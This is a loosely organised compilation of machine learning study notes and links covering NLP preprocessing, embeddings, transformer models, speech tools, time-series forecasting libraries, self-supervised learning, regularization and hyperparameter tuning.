Textrazor API. jiant is an NLP toolkit https://github.com/nyu-mll/jiant clean-text https://github.com/jfilter/clean-text https://www.youtube.com/watch?v=i2TjAgga1YU indicnlp https://indicnlp.ai4bharat.org/samanantar/ Augmenting Data For NLP Tasks https://towardsdatascience.com/tips-tricks-augmenting-data-for-nlp-tasks-983e33ad55a7 https://amitness.com/2020/05/data-augmentation-for-nlp/ https://github.com/makcedward/nlpaug https://towardsdatascience.com/data-augmentation-in-nlp-2801a34dfc28 NLP Data Augmenting https://lnkd.in/eHa2cH6 Text Data Augmentation in Natural Language Processing with Texattack https://www.analyticsvidhya.com/blog/2022/02/text-data-augmentation-in-natural-language-processing-with-texattack/ Tagalog is our state-of-the-art solution for data management and labeling in Natural Language Processing https://www.tagalog.ai/tagalog/ https://github.com/jasonwei20/eda_nlp https://github.com/dsfsi/textaugment https://github.com/QData/TextAttack https://github.com/makcedward/nlpaug nlp_profiler https://analyticsindiamag.com/complete-guide-on-nlp-profiler-python-tool-for-profiling-of-textual-dataset/ doccano text annotation tool https://github.com/doccano/doccano https://www.youtube.com/watch?v=vT-GE_jssPk https://github.com/doccano/auto-labeling-pipeline https://github.com/doccano/doccano-client https://doccano.herokuapp.com/ Data augmentation for NLP-https://github.com/makcedward/nlpaug Data Augmentation library for text nlpaug https://towardsdatascience.com/data-augmentation-library-for-text-9661736b13ff doccano,Parrot_Paraphraser,NLPAug,AugLy detext-https://github.com/linkedin/detext nlpaug-https://github.com/makcedward/nlpaug augmenty https://github.com/KennethEnevoldsen/augmenty NLP-progress -https://github.com/sebastianruder/NLP-progress Super Duper NLP Repo- https://notebooks.quantumstat.com/ Multilingual Representations for Indian Languages https://tfhub.dev/google/MuRIL/1 Natural Language Processing 365- https://ryanong.co.uk/natural-language-processing-365/ 1 line for hundreds of NLP models and algorithms- https://github.com/JohnSnowLabs/nlu simpletransformers beautiful Wordclouds in Python https://towardsdatascience.com/how-to-easily-make-beautiful-wordclouds-in-python-55789102f6f5 Automate your Text Processing workflow in a single line of Python Code https://towardsdatascience.com/automate-your-text-processing-workflow-in-a-single-line-of-python-code-e276755e45de quantumstat https://index.quantumstat.com/ Dynaboard: Moving beyond accuracy to holistic model evaluation in NLP https://ai.facebook.com/blog/dynaboard-moving-beyond-accuracy-to-holistic-model-evaluation-in-nlp/ gobbli for interactive NLP https://medium.com/rti-cds/using-gobbli-for-interactive-nlp-f60feb41e5cb AutoReg Regex of string in Python https://github.com/SusmitPanda/AutoReg Negation Handling Increasing Accuracy of Sentiment Classification NLU,NLG,NER,text summarization,Sentiment Analysis,Text Classifications,machine translation,chat bot,Text Generation,Speech Recognition Case Normalization,regex,Lowercasing,sent_tokenize,Tokenization,Remove Punctuations,Removing Stopwords,Removing Unicode,Removal of(Noise, URLs, Hashtag and User-mentions Hashtag),Replacing Emoticons,Removing Number,Correction of Spelling mistakes,Expanding Contractions,Removing Emojis,Convert Emoji,Remove Emoticon,Removing URLs,Hashtags,text normalization,Noise Removal,Punctuation,Spell Correction,Stemming or Lemmatization 1.One-hot-encoding,Index-based Encoding,Term Frequency,bag of words ,Bag of N-grams Model,Binary Term Frequency,(L1) Normalized Term Frequency,(L2) Normalized TF-IDF 2.Tfidf ,Weighted Class TF-IDF,tfidf + CHI²,HashingVectorizer 3.wordembedding : Use a pre-trained model , Self-Trained model a.using pretrained model i)word2vec( cbow,skipgram) ,AvgWord2vec ii)glove https://medium.com/spark-nlp/1-line-to-glove-word-embeddings-with-nlu-in-python-baed152fff4d iii)fast text iv)MetaVec b.creating own embedding (use when have huge data) i)word2vec library ii)keras embedding elmo (store semantic of word) Context-independent Context-independent without machine learning Bag-of-words,TF-IDF Context-independent with machine learning Word2vec (Bag of Words (CBoW) and Skip-Gram ) GloVe fastText Context-dependent Context-dependent and RNN based(elmo,cove) Context-dependent and transformer-based (BERT ,xlm,RoBERTa,ALBERT) contextual embeddings: AllenNLP ELMo, OpenAI’s GPT,GPT1,GPT2,GPT3, and Google’s BERT Fast_Sentence_Embeddings Compute Sentence Embeddings Fast https://github.com/oborchers/Fast_Sentence_Embeddings Universal Embeddings, Contextual Embeddings (Transformers),BERT Embeddings,Sentence Transformers,Sentence Vectors,Sentence Embedding Transformer based embedding 3 b Tokenizer nlp(texs_to_sequences ) 4.Document embedding-Doc2vec 5.sentence embedding sense2vec,SENT2VEC,Universal sentence encoder,Sentence Transformers Top2Vec Topic Modelling https://towardsdatascience.com/april-edition-adventures-in-topic-modelling-7ee9081a48a0 Doc2Vec Distributed memory model , Distributed bag of word,Node2Vec,Top2Vec,Doc2Vec,Item2Vec Elmo, BERT,Universal Sentence Encoder, Sentence Transformers 6.using rnn,lstm,gru Conventional RNN,Deep Transition RNN,DT(S)-RNN,DOT-RNN,Stacked RNN for above 3 models have bidirectional also textgenrnn generate text https://github.com/minimaxir/textgenrnn 7.Encoder and Decoder(sequence to sequence), ProphetNet(new pretrained seq2seq model) 8.attention self attention,Global Attention,Multi-Head Attention,Local Attention (monotonic,predictive),flash-attention,Fast and memory-efficient exact attention https://github.com/uzaymacar/attention-mechanisms Seq2seq with Attention,Self-attentionm,Multi-head Attention 9.Transformer (big breakthrough in NLP) - http://jalammar.github.io/illustrated-transformer/ Build a Transformer in JAX from scratch https://theaisummer.com/jax-transformer/ Trankit is a Light-Weight Transformer-based Python Toolkit for Multilingual Natural Language Processing https://github.com/nlp-uoregon/trankit FastFormers https://medium.com/ai-in-plain-english/fastformers-233x-faster-transformers-inference-on-cpu-4c0b7a720e1 Shrinking Transformers (reduce size) 1.quantization,distillation,pruning, Reformer,Performers,vision transformer Reformer: The Efficient Transformer Longformer: The Long-Document Transformer ELECTRA: Pre-training Text Encoders as Discriminators Rather Than Generators DeLighT: Deep and Light-weight Transformer https://analyticsindiamag.com/complete-guide-to-delight-deep-and-light-weight-transformer/ https://github.com/balavenkatesh3322/NLP-pretrained-model Tree-Transformer https://github.com/yaushian/Tree-Transformer Scalable Transformer-based Model https://analyticsindiamag.com/guide-to-perceiver-a-scalable-transformer-based-model/ Transformers Interpret https://towardsdatascience.com/introducing-transformers-interpret-explainable-ai-for-transformers-890a403a9470 https://github.com/cdpierse/transformers-interpret https://analyticsindiamag.com/hands-on-guide-to-the-evolved-transformer-on-neural-machine-translation/ Novel Interpretable Transformer https://github.com/hila-chefer/Transformer-Explainability https://analyticsindiamag.com/compute-relevancy-of-transformer-networks-via-novel-interpretable-transformer/ https://www.kdnuggets.com/2021/02/hugging-face-transformer-basics.html#.YE7gRy9s-LA.linkedin mBART-50 https://www.youtube.com/watch?v=fxZtz0LPJLE&feature=youtu.be Few-shot classification with SetFit and a custom dataset https://rubrix.readthedocs.io/en/docs-setfit_tutorial/tutorials/few-shot-classification-with-setfit.html 10.BERT,Packed BERT,BART,DynaBERT,SBERT,ConvBert,Quantized MobileBERT,ALBERT,ELECTRA,ARBERT,MARBERTElectra,Transformer-XL,Longformer,Reformer,DistilBERT,ELMo,ROBERTA,XLNet,XLM-RoBERTa,DeBERTa,T5,fastT5, CodeT5,mT5,ByT5,simpleT5,byt5,OnnxT5,FastT5,Linformer,DISTILBERT,GPT,GPT2,GPT3,gpt-neo,gpt-neox,GPT-J,aitextgen,PRADO,PET,BORT,MuRIL,Multitask Unified Model,aitextgen,AI21's 'Jurassic' language model,Turing NLG,Wu Dao 2.0,PanGu-Alpha,Gopher,Megatron model https://neptune.ai/blog/bert-and-the-transformer-architecture-reshaping-the-ai-landscape gpt3 https://www.producthunt.com/posts/100-resources-on-gpt-3 Graph4NLP https://dlg4nlp.github.io/index.html Feedback Transformers from Facebook AI https://towardsdatascience.com/feedback-transformers-from-facebook-ai-221c5dd09e3f DETR https://analyticsindiamag.com/how-to-detect-objects-with-detection-transformers/ https://github.com/dddzg/up-detr DeiT https://analyticsindiamag.com/introducing-deit-data-efficient-image-transformers/ https://github.com/facebookresearch/deit 80+ NLP tasks https://medium.com/innerdoc/80-natural-language-processing-tasks-described-c777bc4974b3 Text-to-Image https://www.datasciencecentral.com/profiles/blogs/summarizing-popular-text-to-image-synthesis-methods-with-python NLP: Pre-trained Sentiment Analysis https://medium.com/@b.terryjack/nlp-pre-trained-sentiment-analysis-1eb52a9d742c Awesome-NLP-Resources -https://github.com/Robofied/Awesome-NLP-Resources https://shivanandroy.com/awesome-nlp-resources/ https://github.com/keon/awesome-nlp 10 Popular Keyword Extraction Algorithms in Natural Language Processing https://prakhar-mishra.medium.com/10-popular-keyword-extraction-algorithms-in-natural-language-processing-8975ada5750c https://medium.com/@jatinmandav3/opinion-mining-sometimes-known-as-sentiment-analysis-or-emotion-ai-refers-to-the-use-of-natural-874f369194c0#:~:text=fastText%20is%20a%20library%20for,pretrained%20models%20for%20294%20languages https://analyticsindiamag.com/top-ten-bert-alternatives-for-nlu-projects/ https://towardsdatascience.com/from-pre-trained-word-embeddings-to-pre-trained-language-models-focus-on-bert-343815627598 GPT2 generated Indian Food Recipes https://www.kaggle.com/nulldata/gpt2-generated-indian-food-recipes http://jalammar.github.io/ http://jalammar.github.io/illustrated-bert/ http://jalammar.github.io/a-visual-guide-to-using-bert-for-the-first-time/ https://jalammar.github.io/explaining-transformers/ https://jalammar.github.io/hidden-states/ https://www.kdnuggets.com/2019/09/bert-roberta-distilbert-xlnet-one-use.html 11.Speech (Braina,Dragon Speech Recognition Solutions ,Winscribe,Gboard,Windows 10 Speech Recognition,Otter,Speechnotes,tts,OpenSpeech,FRILL,Vakyansh) audio data augmentation https://github.com/iver56/audiomentations speech to text text to speech https://towardsdatascience.com/text-to-speech-one-small-step-by-mankind-to-create-lifelike-robots-54e19f843b21 Acoustic model,Speaker diarisation,apis,apiai,assemblyai,google-cloud-speech,pocketsphinx,SpeechRecognition,watson-developer-cloud,wit,Coqui TTS,Mozilla TTS, OpenTTS,ESPNet,PaddleSpeech,Wav2Vec, Whisper, DeepSpeech,Eesen,TensorFlowASR,Vosk,CMUSphinx,Pocketsphinx,KoNLPy,Madmom,HTK,Pysptk,Tortoise TTS,Bark,Musicgen,Riffusion Microsoft IceCAPS is an Open Source Framework for Conversational Modeling https://pub.towardsai.net/microsoft-icecaps-is-an-open-source-framework-for-conversational-modeling-4f78492ca685 State-of-the-art Approaches to Building Open-Domain Conversational Agents https://www.topbots.com/conversational-ai-open-domain-chatbots/?utm_source=twitter&utm_medium=company_post&utm_campaign=conversational_open_domain_chatbots LaMDA: our breakthrough conversation technology https://www.blog.google/technology/ai/lamda assemblyai https://www.assemblyai.com/ bark https://github.com/suno-ai/bark SpeechBrain A PyTorch Powered Speech Toolkit https://speechbrain.github.io/ https://github.com/speechbrain/speechbrain Wav2vec-U learns to recognize #speech from unlabeled data https://venturebeat.com/2021/05/21/facebook-wav2vec-u-learns-to-recognize-speech-from-unlabeled-data/?utm_source=dlvr.it&utm_medium=linkedin Wav2Vec2 https://huggingface.co./transformers/model_doc/wav2vec2.html https://www.youtube.com/watch?v=dJAoK5zK36M&feature=youtu.be SincNet is a neural architecture for efficiently processing raw audio samples https://github.com/mravanelli/SincNet HuggingFace Transformers ASR https://github.com/dennisbakhuis/Ecare_Brunch_ASR English speech recognition https://github.com/openai/whisper https://github.com/balavenkatesh3322/audio-pretrained-model SpeechRecognition ASR2K: Speech Recognition https://github.com/xinjli/asr2k audiomentations Python library for audio data augmentation https://github.com/iver56/audiomentations googletrans (google Translator) https://pypi.org/project/googletrans/ lang-identification Google Compact Language Detector,FastText 𝗴𝗧𝗧𝗦 for text to speech conversion , 𝘀𝗽𝗲𝗲𝗰𝗵_𝗿𝗲𝗰𝗼𝗴𝗻𝗶𝘁𝗶𝗼𝗻,TTS Python/Pytorch app for easily synthesising human voices https://github.com/BenAAndrew/Voice-Cloning-App Speech-Transformer-tf2.0 https://github.com/xingchensong/Speech-Transformer-tf2.0 The Super Duper NLP Repo https://notebooks.quantumstat.com/ ecco https://github.com/jalammar/ecco https://www.eccox.io/ https://www.youtube.com/watch?v=rHrItfNeuh0&feature=youtu.be Language Interpretability Tool (LIT) is an open-source platform for visualization and understanding of NLP models https://pair-code.github.io/lit/ Language Interpretability Tool https://github.com/pair-code/lit https://ai.googleblog.com/2020/11/the-language-interpretability-tool-lit.html autonlp https://analyticsindiamag.com/hands-on-guide-to-using-autonlp-for-automating-sentiment-analysis/ https://medium.com/towards-artificial-intelligence/natural-language-processing-nlp-with-python-tutorial-for-beginners-1f54e610a1a0 https://pakodas.substack.com/p/neural-search-on-indian-languages https://www.linkedin.com/pulse/natural-language-processing-2020-year-review-ivan-bilan/?trackingId=CYfd1ZyLStu6x09tjVIoGw%3D%3D ConvBert https://github.com/yitu-opensource/ConvBert Python interface for building, loading, and using GloVe vectors https://github.com/Lguyogiro/pyglove SentenceTransformers https://www.sbert.net/ Reformer – The Efficient Transformer https://analyticsindiamag.com/hands-on-guide-to-reformer-the-efficient-transformer/ Funnel-Transformer https://github.com/laiguokun/Funnel-Transformer CLIP – Connecting Text To Images https://analyticsindiamag.com/hands-on-guide-to-openais-clip-connecting-text-to-images/ Topic Modeling in One Line with Top2Vec https://towardsdatascience.com/topic-modeling-in-one-line-with-top2vec-a413991aa0ef MT5-https://venturebeat.com/2020/10/26/google-open-sources-mt5-a-multilingual-model-trained-on-over-101-languages/?utm_content=144321587&utm_medium=social&utm_source=linkedin&hss_channel=lcp-3740012 VADER does not require any training data https://pypi.org/project/vaderSentiment/ https://analyticsindiamag.com/sentiment-analysis-made-easy-using-vader/ APPLICATIONS OF MACHINE TRANSLATIO-Text-to-text,Text-to-speech,Speech-to-text,Speech-to-speech,Image (of words)-to-text Google-GNMT (Tensorflow),Facebook-fairseq (Torch),Amazon-Sockeye (MXNet),NEMATUS (Theano),THUMT (Theano),OpenNMT (PyTorch),StanfordNMT (Matlab),DyNet-lamtram(CMU),EUREKA(MangoNMT awesome-gpt3 https://github.com/elyase/awesome-gpt3 Robustness Gym: Evaluation Toolkit for NLP https://github.com/robustness-gym/robustness-gym https://analyticsindiamag.com/best-nlp-based-seo-tools-for-2021/ https://towardsdatascience.com/5-nlp-models-that-you-need-to-know-about-754594a3225b https://www.kdnuggets.com/2020/05/best-nlp-deep-learning-course-free.html https://analyticsindiamag.com/flair-hands-on-guide-to-robust-nlp-framework-built-upon-pytorch/ https://medium.com/modern-nlp/nlp-metablog-a-blog-of-blogs-693e3a8f1e0c summarization https://github.com/hyunwoongko/summarizers ctrl-sum https://github.com/salesforce/ctrl-sum classification,clustering,recommender systems,topic modelling,sentiment analysis,semantic analysis,summarization,machine translation,conversational interface,named entity recognition F.Time Series Hands-On Guide To Atspy For Automating The Time-Series Forecasting https://github.com/Apress/hands-on-time-series-analylsis-python here data split is different (train,test,validate) here handling missing data different Time Series Decomposition In Python trend, seasonality,Cyclical and noise https://towardsdatascience.com/time-series-decomposition-in-python-8acac385a5b2 Removing trend Differencing,Least square trends removal Converting Non- stationary into stationary Detrending,Differencing,Transformation Time Series Decomposition log,box-cox transformation,moving average Removing seasonality Seasonal differencing,Seasonal means,Method of moving averages generally used to impute data in Time Series 1.ffill 2.bfill 3.do mean of previous or future x samples and impute 4.take previous season value and impute (data with trend) 5.mean,mode,median,random sample imputation (data without trend and without seasonality) 6.linear interpolation(data with trend and without seasonality) 7.seasonal +interpolation(data with trend and with seasonality) here model selection deponds on different property of data like stationary,trend,seasonality,cyclic Anomaly Detection using Isolation Forest,AutoEncoders Granger Causality Statistical Test use for variable usable for forecast adfuller test for Stationarity Non Stationary Statistical Test - KPSS and ADF ACF, PACF, decomposition, ADF test Handling Data with Regular Gaps using Facebook Prophet models 1.AR,VR, VAR, MA, ARMA, ARIMA, auto arima(pmd arima) ,seasonal arima(SARIMA),SARIMAX models 2.Autoregressive,Vector Autoregression,Vector Autoregression Moving-Average,Vector Autoregression Moving-Average with Exogenous Regressors 3.Moving average,Exponential Moving average,Exponential Smoothing,Simple average, Holt’s linear trend method, Holt’s Winter seasonal method,DeepAR,N-BEATS 11 Classical Time Series Forecasting Methods in Python https://machinelearningmastery.com/time-series-forecasting-methods-in-python-cheat-sheet/ 4.XGBoost,Lstm(neural network),DeepAR ( An RNN Algorithm) 5.GARCH atspy Automated time-series models 6.Navie forecasts 7.Smoothing (moving average,exponential smoothing) 8.Facebook prophet (note:expceted date column as ds and target column as y) https://thecleverprogrammer.com/2020/12/14/facebook-prophet-model-with-python/ NeuralProphet Model- https://ourownstory.github.io/neural_prophet/model-overview/ https://thecleverprogrammer.com/2021/01/28/neuralprophet-model-with-python/ bulbea Deep Learning based Python Library for Stock Market Prediction and Modelling https://github.com/achillesrasquinha/bulbea PyTorch Forecasting enables deep learning models for time-series forecasting pytorch-ts https://github.com/zalandoresearch/pytorch-ts ETSformer-pytorch https://github.com/lucidrains/ETSformer-pytorch Transformer Networks to build a Forecasting model https://towardsdatascience.com/how-to-use-transformer-networks-to-build-a-forecasting-model-297f9270e630 Temporal Fusion Transformer (By Google) hmmlearn https://github.com/ushareng/StockPricePredictionUsingHMM_Byte/blob/master/StockPricePredictionUsingHMM.ipynb pyramid-arima https://github.com/tgsmith61591/pyramid pyflux: time series library: https://github.com/RJT1990/pyflux orbit https://eng.uber.com/orbit/ greykite A flexible, intuitive and fast forecasting library https://github.com/linkedin/greykite https://www.analyticsvidhya.com/blog/2021/05/greykite-time-series-forecasting-in-python/ Silverkite LinkedIn open-sources Greykite, a library for time series forecasting https://github.com/linkedin/greykite/stargazers stumpy https://github.com/TDAmeritrade/stumpy Giotto-Time Time-Series Forecasting Python Library https://github.com/giotto-ai/giotto-time https://analyticsindiamag.com/guide-to-giotto-time-a-time-series-forecasting-python-library/ Informer (for Long Sequence Time-Series Forecasting) https://analyticsindiamag.com/informer/ tfcausalimpact https://github.com/WillianFuks/tfcausalimpact deepar is global model https://www.youtube.com/watch?v=xcbj0RE3kfI&list=PL3N9eeOlCrP5cK0QRQxeJd6GrQvhAtpBK&index=14 pmdarima for Auto ARIMA GluonTS https://github.com/awslabs/gluon-ts sktime — a unified time-series framework for Scikit-Learn tsfresh — a magical library for feature extraction in time-series datasets ThymeBoost Forecasting with Gradient Boosted Time Series Decomposition https://github.com/tblume1992/ThymeBoost darts A python library for easy manipulation and forecasting of time series https://github.com/unit8co/darts Kats https://github.com/facebookresearch/Kats Time Series Outlier Detection with ThymeBoost AtsPy: Automated Time Series Models in Python https://github.com/firmai/atspy Merlion: A Machine Learning Framework for Time Series Intelligence https://github.com/salesforce/Merlion stumpy powerful and scalable Python library for modern time series analysis https://github.com/TDAmeritrade/stumpy mlforecast Scalable machine learning based time series forecasting https://github.com/Nixtla/mlforecast statsforecast Lightning ⚡️ fast forecasting with statistical and econometric models https://github.com/Nixtla/statsforecast 9.Holts winter,Holts linear trend 10.Auto_Timeseries by auto-ts https://www.youtube.com/watch?v=URUiVD37fns&list=PL3N9eeOlCrP5cK0QRQxeJd6GrQvhAtpBK&index=24 tell best model for data AutoTS-https://analyticsindiamag.com/hands-on-guide-to-autots-effective-model-selection-for-multiple-time-series/ https://github.com/AutoViML/Auto_TS Automated Time Series Forecasting https://github.com/winedarksea/AutoTS , No-Code AI Forecasting Platform https://datafloat.ai/ AutoML for time series: advanced approaches with FEDOT framework https://towardsdatascience.com/automl-for-time-series-advanced-approaches-with-fedot-framework-4f9d8ea3382c AutoML for time series: definitely a good idea https://towardsdatascience.com/automl-for-time-series-definitely-a-good-idea-c51d39b2b3f AutoReg Regex of string in Python https://github.com/SusmitPanda/AutoReg pytsal low-code open-source python framework for Time Series analysis,visualization,forecasting along with AutoTS https://github.com/KrishnanSG/pytsal Automated Time Series Forecasting https://github.com/winedarksea/AutoTS Forecasting with H2O AutoML https://github.com/business-science/modeltime.h2o/ Forecasting Stock Prices Using Stocker https://medium.com/mlearning-ai/forecasting-stock-prices-using-stocker-7d2ac15966f5 MiniRocket: Fast(er) and Accurate Time Series Classification https://towardsdatascience.com/minirocket-fast-er-and-accurate-time-series-classification-cdacca2dcbfa modeltime https://github.com/business-science/modeltime GluonTS , PytorchTS https://analyticsindiamag.com/gluonts-pytorchts-for-time-series-forecasting/ stocker https://medium.datadriveninvestor.com/forecasting-stock-prices-using-stocker-66503c26307a 11.Temporal Convolutional Neural 12.Atspy For Automating The Time-Series Forecasting-https://analyticsindiamag.com/hands-on-guide-to-atspy-for-automating-the-time-series-forecasting/ 13.Darts-https://analyticsindiamag.com/hands-on-guide-to-darts-a-python-tool-for-time-series-forecasting/ 14.Bayesian Neural Network , TsEuler 15.PyFlux (easy way to compare different models)-https://analyticsindiamag.com/pyflux-guide-python-library-for-time-series-analysis-and-prediction/ 16.Orbit , DeepAR ,NeuralProphet(https://github.com/ourownstory/neural_prophet https://ourownstory.github.io/neural_prophet/model-overview/) IBM’s AutoAI automates time series forecasting https://www.ibm.com/blogs/research/2021/03/autoai-time-series/?utm_campaign=Learning%20Posts&utm_content=159454790&utm_medium=social&utm_source=twitter&hss_channel=tw-3018841323 Kats all in 1 time seres data https://github.com/facebookresearch/kats https://facebookresearch.github.io/Kats/ orbit https://analyticsindiamag.com/hands-on-guide-to-orbit-ubers-python-framework-for-bayesian-forecasting-inference/ https://github.com/uber/orbit best article-https://www.analyticsvidhya.com/blog/2018/02/time-series-forecasting-methods/ TimeSynth https://github.com/TimeSynth/TimeSynth https://analyticsindiamag.com/guide-to-timesynth-a-python-library-for-synthetic-time-series-generation/ time series visualization tool https://plotjuggler.io/ Time Series Anomaly Detection using Generative Adversarial Networks(TadGAN) https://analyticsindiamag.com/hands-on-guide-to-tadgan-with-python-codes/ fastquant — Backtest and optimize your trading strategies with only 3 lines of code https://github.com/enzoampil/fastquant pytorch-forecasting https://github.com/jdb78/pytorch-forecasting https://analyticsindiamag.com/guide-to-pytorch-time-series-forecasting/ https://pytorch-forecasting.readthedocs.io/en/latest/ https://pytorch-forecasting.readthedocs.io/en/latest/tutorials/ar.html Complex Exponential Smoothing (CES) which can handle both stationary and non-stationary processes and model a wide spectum of level and trend time-series. https://github.com/Nixtla/statsforecast/tree/main/experiments/ces sktime-https://github.com/alan-turing-institute/sktime https://analyticsindiamag.com/sktime-library/ autocast https://github.com/andyzoujm/autocast tsfresh – a magical library for feature extraction in time-series datasets. atspy https://github.com/firmai/atspy tcn https://towardsdatascience.com/farewell-rnns-welcome-tcns-dd76674707c8 Pastas https://analyticsindiamag.com/guide-to-pastas-a-python-framework-for-hydrogeological-time-series-analysis/ https://github.com/pastas/pastas stockDL https://github.com/ashishpapanai/stockDL decompsition https://towardsdatascience.com/time-series-decomposition-in-python-8acac385a5b2 Bayesian Diffusion Modeling https://www.topbots.com/bayesian-diffusion-modeling/ Top 10 Python Tools For Time Series Analysis https://analyticsindiamag.com/top-10-python-tools-for-time-series-analysis/ fine Tune Your Machine Learning Models To Improve Forecasting Accuracy https://www.kdnuggets.com/2019/01/fine-tune-machine-learning-models-forecasting.html add extra features https://towardsdatascience.com/the-demand-sales-forecast-technique-every-data-scientist-should-be-using-to-reduce-error-1c6f25add9cb https://machinelearningmastery.com/time-series-forecasting-methods-in-python-cheat-sheet/ https://www.machinelearningplus.com/time-series/time-series-analysis-python/ https://www.datasciencecentral.com/profiles/blogs/list-of-time-series-methods-in-one-picture https://github.com/Apress/hands-on-time-series-analylsis-python https://otexts.com/fpp2/simple-methods.html https://analyticsindiamag.com/top-time-series-deep-learning-methods/ book https://otexts.com/fpp2/ deep_autoviml Build tensorflow keras model pipelines in a single line of code https://github.com/AutoViML/deep_autoviml G.𝐆𝐫𝐚𝐩𝐡 𝐍𝐞𝐮𝐫𝐚𝐥 𝐍𝐞𝐭𝐰𝐨𝐫𝐤𝐬 Spatial-temporal graph neural networks,Structural Deep Network Embedding,Convolutional Graph Neural Network,GraphSAGE,Graph convolutional recurrent network,Diffusion convolutional recurrent neural network,Graph LSTM,Graph Autoencoders,Variational Graph Auto-Encoders,Graph Attention Networks G.Semi supervised learning,Self-Supervised Learning,Multi-Instance Learning self-training meta-estimator for semi-supervised learning skweak: A Python Toolkit For Applying Weak Supervision To NLP Tasks https://analyticsindiamag.com/meet-skweak-a-python-toolkit-for-applying-weak-supervision-to-nlp-tasks/ 10 Self-Supervised Learning Frameworks & Libraries To Use In 2021 analyticsindiamag.com/10-self-supervised-learning-frameworks-libraries-to-use-in-2021/ Self-Supervised Learning https://github.com/jason718/awesome-self-supervised-learning OpenMMLab Self-Supervised Learning https://github.com/open-mmlab/mmselfsup awesome-self-supervised-learning https://github.com/jason718/awesome-self-supervised-learning Self-supervised Video Object Segmentation https://charigyang.github.io/motiongroup/ lightly A python library for self-supervised learning on images https://github.com/lightly-ai/lightly Weak Supervision: The Art Of Training ML Models From Noisy Data https://analyticsindiamag.com/weak-supervision-the-art-of-training-ml-models-from-noisy-data/ snorkel and skweak, are there other libraries to explore for weak supervision in NLP 8 Resources To Learn Self-Supervised Learning In 2021 https://analyticsindiamag.com/top-8-resources-to-learn-self-supervised-learning-in-2021/ Barlow Twins: Self-Supervised Learning via Redundancy Reduction https://analyticsindiamag.com/a-guide-to-barlow-twins-self-supervised-learning-via-redundancy-reduction/ https://github.com/facebookresearch/barlowtwins skweak: A Python Toolkit For Applying Weak Supervision To NLP Tasks https://analyticsindiamag.com/meet-skweak-a-python-toolkit-for-applying-weak-supervision-to-nlp-tasks/ H.Active learning,Multi-Task Learning,Online Learning Active Learning Frameworks https://towardsdatascience.com/a-summary-of-active-learning-frameworks-3165159baae9 Meta Learning https://github.com/sudharsan13296/Awesome-Meta-Learning Avalanche: A Python Library for Continual Learning https://analyticsindiamag.com/avalanche-a-python-library-for-continual-learning/ Reptile (OpenAI’s Latest Meta-Learning Algorithm) https://github.com/openai/supervised-reptile https://analyticsindiamag.com/reptile-openais-latest-meta-learning-algorithm/ Model-Agnostic Meta-Learning for Fast Adaptation of Deep Networks" https://github.com/cbfinn/maml I.Transfer learning(Inductive Transfer learning(similar domain,different task),Unsupervised Transfer Learning(different task,different domain but similar enough) ,Transductive Transfer Learning(similar task,different domain)),Inductive transfer learning(labeled data is the same for the target and source domain but the tasks the model works on are different),Unsupervised transfer learning(unsupervised tasks for both source and target tasks),self taught learning,Homogeneous Transfer Learning,Heterogenous Transfer Learning Transfer Learning Using TensorFlow Keras https://analyticsindiamag.com/transfer-learning-using-tensorflow-keras/ https://github.com/artix41/awesome-transfer-learning https://towardsdatascience.com/a-comprehensive-hands-on-guide-to-transfer-learning-with-real-world-applications-in-deep-learning-212bf3b2f27a J.Deep dream,Style transfer K.One-shot learning,Zero-shot learning l.Incremental Training https://blog.rasa.com/rasa-new-incremental-training/ https://github.com/ChristosChristofidis/awesome-deep-learning 101 Machine Learning Algorithms for Data Science with Cheat Sheets https://blog-datasciencedojo-com.cdn.ampproject.org/c/s/blog.datasciencedojo.com/machine-learning-algorithms/amp/ TYPES OF ACTIVATION FUNCTIONS: LINEAR ACTIVATION,RELU,LEAKY RELU,GELU,Parameterized ReLU,Shifted ReLU, Noisy ReLU,SIGMOID ACTIVATION,TANH ACTIVATION,elu,PReLU,Modifying ReLU,Shifted ReLU,Softmax,Swish,Softplus,Mish,Smooth reLU,GELU,Swish,Elliot Optimizer- Gradient Descent(Batch Gradient Descent,Stochastic Gradient Descent,Mini batch Gradient Descent),sgd with momentum,Adagrad,RMSProp,AMSGrad,Adam,AdaBelief,MADGRAD,Nero, https://analyticsindiamag.com/ultimate-guide-to-pytorch-optimizers/ https://analyticsindiamag.com/guide-to-tensorflow-keras-optimizers/ Regularization- L1, L2,elasticnet, dropout, early stopping, and data augmentation,batch normalisation,Layer Normalization,Group Normalization,tree purning,DropBlock,DropConnect,Learning rate schedulingWeight Decay,Gradient clipping,Adaptive optimizer Addressing Overfitting - 13 Methods 01. Dimensionality Reduction 02. Feature Selection 03. Early Stopping 04. K-Fold Cross-Validation 05. Creating Ensembles 06. Pre‐Pruning 07. Post‐Pruning 08. Noise Regularization 09. Dropout Regularization 10. L1 and L2 Regularization 11. Data (Image) Augmentation 12. Adding More Training Data 13. Reducing Network Width & Depth DropBlock: A New Regularization Technique https://pub.towardsai.net/dropblock-a-new-regularization-technique-e926bbc74adb Learning rate scheduling (Learning rate finder),Weight Decay,Gradient clipping,Cyclic Learning Rate weight initialization Normal Distribution,initialized to the same value,Xavier Initialization,He Norm Initialization, Different Normalization Layers - https://towardsdatascience.com/different-normalization-layers-in-deep-learning-1a7214ff71d6 Hyperparameters Number of hidden layers,Dropout,activation function,Weights initialization , learning rate,epoch, iterations and batch size DropBlock-Keras-Implementation https://github.com/iantimmis/DropBlock-Keras-Implementation https://github.com/miguelvr/dropblock https://github.com/DHZS/tf-dropblock standard dropout,early dropout,late dropout ***Hyperparameter tuning*** https://analyticsindiamag.com/top-8-approaches-for-tuning-hyperparameters-of-machine-learning-models/ https://analyticsindiamag.com/top-10-open-source-hyperparameter-optimisation-libraries-for-ml-models/ https://github.com/balavenkatesh3322/hyperparameter_tuning A.manual search a.GridSearchCV (check every given parameter so take long time),TuneGridSearchCV HalvingGridSearch https://towardsdatascience.com/11-times-faster-hyperparameter-tuning-with-halvinggridsearch-232ed0160155 https://towardsdatascience.com/faster-hyperparameter-tuning-with-scikit-learn-71aa76d06f12 tune-sklearn https://github.com/ray-project/tune-sklearn (TuneGridSearchCV) b.RandomizedSearchCV (search randomly narrow down our time) with Scikit-learn, Scikit-Optimize,Hyperopt,TuneSearchCV HalvingRandomSearchCV c.Optuna,Hyperopt,Scikit-optimize,Keras Tuner,Ray-tune,Bayesian Optimization,Bayesian Optimization with Gaussian Processes (BO-GP),Bayesian Optimization with Tree-structured Parzen Estimator (BO-TPE),Particle swarm optimization (PSO),Genetic algorithm (GA)Hyperopt,bayes search,Hyperband and BOHB,HyperOpt-Sklearn,Bayes Search,Scikit Optimize,TPE,Multivariate TPE,HyperBand,Bayesian Optimization,exhaustive search, 